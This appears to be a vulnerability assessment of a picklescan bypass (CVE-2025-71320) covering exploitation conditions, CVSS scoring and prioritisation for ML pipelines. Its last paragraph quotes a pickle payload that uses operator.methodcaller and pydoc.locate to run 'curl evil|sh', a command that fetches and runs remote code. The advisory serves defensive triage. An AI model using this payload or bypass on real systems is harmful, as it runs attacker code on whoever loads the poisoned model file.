picklescan CVE-2025-71320

Exploitation requires that (1) picklescan version < 0.0.33 is used to vet a pickle the attacker controls, and (2) the resulting pickle is subsequently deserialized via pickle.load / torch.load / joblib.load on the victim system - the scanner bypass itself has no impact unless something downstream actually unpickles the file. No authentication, special configuration, or user privilege on the scanner host is required; the malicious payload uses only pydoc.locate and operator.methodcaller, which are present in any standard Python install, and works against default picklescan configurations. The practical limiter is the unpickling step: environments that have moved to safetensors or that refuse to load pickles from untrusted sources are not exposed even on vulnerable picklescan versions.

Signals are mostly aligned toward high practical risk: CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H (score 9.3) reflects unauthenticated remote impact once a pickle reaches a victim, the GHSA ships a working PoC, and the underlying use case (scanning untrusted ML model files) is precisely the threat model picklescan claims to defend against, so a bypass directly defeats the control. The asset is a security scanner, so the realistic exploitation surface is anyone who downloads a 'scanned-safe' model from a public hub - high reach, but mediated by user action of loading the model, which CVSS 4.0 captures as UI:N from the deserializer's standpoint but is effectively user-initiated in practice. No CISA KEV listing and no EPSS value were provided, so widespread in-the-wild abuse is not confirmed; the bigger risk is silent supply-chain poisoning of ML artifacts rather than mass exploitation, and prioritization should be high for any pipeline that uses picklescan as a gate.

An attacker publishes a Python pickle (e.g., a model checkpoint .pkl or PyTorch file) to a public model hub or sends it to a victim; inside, a __reduce__ returns (operator.methodcaller('system', 'curl evil|sh'), (pydoc.locate('os'),)). A defender or hub runs picklescan, which does not list these functions as dangerous and returns a clean verdict, so the file is loaded with pickle.load and executes the command as the loading user. The GHSA includes a working PoC demonstrating exactly this chain.